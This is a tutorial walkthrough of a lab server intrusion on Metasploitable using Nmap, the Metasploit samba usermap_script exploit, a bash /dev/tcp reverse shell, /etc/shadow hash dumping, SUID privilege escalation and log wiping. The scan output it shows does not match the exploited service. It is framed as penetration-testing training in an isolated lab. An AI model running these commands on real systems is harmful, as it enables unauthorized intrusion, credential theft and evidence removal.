
How to Perform a Test Server Intrusion: A Step-by-Step Guide for Ethical Hacking
Introduction
Testing server intrusion in a controlled environment is an essential exercise for ethical hackers and cybersecurity professionals. It allows you to understand real-world attack techniques, improve defensive strategies, and strengthen security. This guide provides a step-by-step walkthrough for setting up a test environment, performing a server intrusion, and using specific tools and commands responsibly.Disclaimer: This guide is for ethical purposes only. Ensure you have explicit permission before testing any system.
Step 1: Setting Up the Test Environment
A secure and isolated environment is critical for safely testing server intrusion techniques. Follow these steps to set up your test environment.1.1 Choose Your Virtualization Platform
- Install a hypervisor like VirtualBox or VMware to create virtual machines (VMs).
- Ensure your system has sufficient resources (RAM, CPU, storage).
1.2 Deploy a Vulnerable Server
- Use intentionally vulnerable applications like Metasploitable 2, OWASP Juice Shop, or DVWA (Damn Vulnerable Web App).
- Download and configure these on a VM with an IP in your private test network.
Code:
# Download Metasploitable 2
wget https://sourceforge.net/projects/metasploitable/files/latest/download
# Import the VM into VirtualBox
VBoxManage import Metasploitable2.ova
# Start the VM
VBoxManage startvm "Metasploitable2"
1.3 Set Up the Attacker Machine
- Install Kali Linux or a similar penetration testing distribution.
- Update all tools to ensure compatibility:
Code:
sudo apt update && sudo apt upgrade -y
1.4 Network Configuration
- Connect both the vulnerable server and attacker machine to a host-only network to simulate a real network environment without exposing your systems.
Step 2: Information Gathering (Reconnaissance)
The first phase of intrusion testing involves gathering information about the target server.2.1 Ping the Target
Determine if the target server is reachable:
Code:
ping -c 4 <TARGET_IP>
2.2 Scan for Open Ports
Use Nmap to identify open ports and services:
Code:
nmap -A -T4 <TARGET_IP>
2.3 Identify Vulnerabilities
Use Nmap scripts to identify known vulnerabilities:
Code:
nmap --script vuln <TARGET_IP>
Code:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-vuln-cve2017-5638: Apache Struts CVE-2017-5638 vulnerability
Step 3: Gaining Initial Access
After identifying vulnerabilities, use an exploitation tool to gain access to the server.3.1 Exploit a Vulnerable Service with Metasploit
Metasploit is one of the most powerful tools for exploiting vulnerabilities.- Launch Metasploit:
Code:
msfconsole
- Search for an exploit matching the vulnerability:
Code:
search samba
- Use the identified exploit:
Code:
use exploit/multi/samba/usermap_script
- Set the target details:
Code:
set RHOST <TARGET_IP>set RPORT 445
- Execute the exploit:
Code:
exploit
Output Example:
Code:
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.10:445)
Step 4: Post-Exploitation
Once access is gained, perform post-exploitation tasks to demonstrate the potential impact of the attack.4.1 Enumerate System Information
List system information:
Code:
uname -a
cat /etc/os-release
Identify users:
Code:
cat /etc/passwd
4.2 Dump Password Hashes
If you have root privileges, extract password hashes:
Code:
cat /etc/shadow
4.3 Create a Reverse Shell
Use Netcat to establish a reverse shell:- Set up a listener on the attacker machine:
Code:
nc -lvnp 4444
- Run the following command on the target:
Code:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
4.4 Privilege Escalation
Check for SUID binaries:
Code:
find / -perm -u=s -type f 2>/dev/null
If a vulnerable binary is found, escalate privileges. For example, using vim:
Code:
vim -c ':!/bin/sh'
Step 5: Cleanup
Ensure that all traces of the intrusion are removed, especially when performing ethical tests.5.1 Remove Reverse Shells and Logs
- Terminate reverse shells:
Code:
pkill nc
- Clear logs:
Code:
echo > /var/log/auth.log
5.2 Revert the Test Environment
Restore the vulnerable server to its original state by reverting the VM snapshot.Tools Used
Tool | Purpose |
---|---|
VirtualBox/VMware | Create and manage virtual machines. |
Kali Linux | Penetration testing distribution. |
Metasploit | Exploitation framework. |
Nmap | Network scanning and enumeration. |
Netcat (nc) | Reverse shell and networking utility. |
Ethical Considerations
- Always test in a controlled environment with explicit permission.
- Never use these techniques on unauthorized systems.
- Document findings and provide actionable recommendations to improve security.